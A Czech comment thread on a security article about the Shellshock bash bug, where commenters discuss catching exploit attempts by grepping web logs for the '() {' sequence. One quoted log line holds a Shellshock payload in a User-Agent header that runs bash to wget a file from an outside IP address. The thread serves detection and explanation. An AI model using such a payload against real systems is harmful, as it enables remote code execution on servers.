Vlákno názorů k článku Postřehy z bezpečnosti: jste šokováni chybou shellu? od Ondřej Caletka - Mnohem efektivnější je grepovat logy na výskyt sekvence...

Mnohem efektivnější je grepovat logy na výskyt sekvence () {, která musí vždy vypadat takto. Ale stejně takovým způsobem odhalíte jen Script Kiddies, které byly tak hloupé, že exploit umístily do hlavičky User-Agent, která se loguje.

Přesto se něco zajímavého najde. Tohle dítě se třeba ani neobtěžovalo s nastudováním HTTP protokolu a tak metodou GET požaduje celou filesystémovou cestu :)

[29/Sep/2014:02:12:28 +0200] "GET /var/www/cgi-bin/test-cgi HTTP/1.1" 404 345 "-" "() { :;}; /bin/bash -c \"wget http://217.12.204.127/bin\""

Dobry den,

funkci lze v bashi definovat i bez zavorek http://tldp.org/LDP/abs/html/functions.html

Jak jsem psal, jedna se o "nejpopularnejsi" retezec. Je jasne, ze to neodhali vse.

Dekuji za reakci

Ano, funkci lze deklarovat i bez závorek, ale při přenosu funkce do subshellu se přenáší vždy proměnnou, jejíž obsah začíná na dvojici kulatých závorek:

$ function ahoj { echo ahoj svete; }
$ export -f ahoj
$ dash -c 'echo $ahoj'
() { echo ahoj svete }

To ano, ale to v logu neuvidite, nemylim-li se

Mýlíte se. Když se vrátíme na začátek, tak podstata exploitu je v tom, že někdo do prostředí podstrčí proměnnou, jejíž obsah začíná na dvě kulaté závorky. V případě zneužití CGI to znamená odeslání HTTP hlavičky, jejíž obsah začíná na dvě kulaté závorky. Bez těch dvou kulatých závorek to prostě nejde. Více najdete v pátečním článku.

Samozřejmě, pokud nelogujete všechny HTTP hlavičky všech požadavků, dostanou se vám do logu jen takové požadavky, které používají speciálně upravené jméno v hlavičce User-Agent.

Pravda, takže nejlepší budou jen ty dvě kulaté závorky.

To pak narazi clovek i na takto zvlastni User-Agent header :]

"Mozilla/4.0 (compatible; MSIE 8.0; !$[<](&$^[$@|­))!))\%#!&*>\>\))*)@))(|­!|^!!!)()@; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)"

No to jsou veci :))

To ale nejspis bude taky nejaky pokus a exploit, ne? (napadeni spatneho esapovani) Nebo to snad muze byt neco korektniho/le­gitimniho?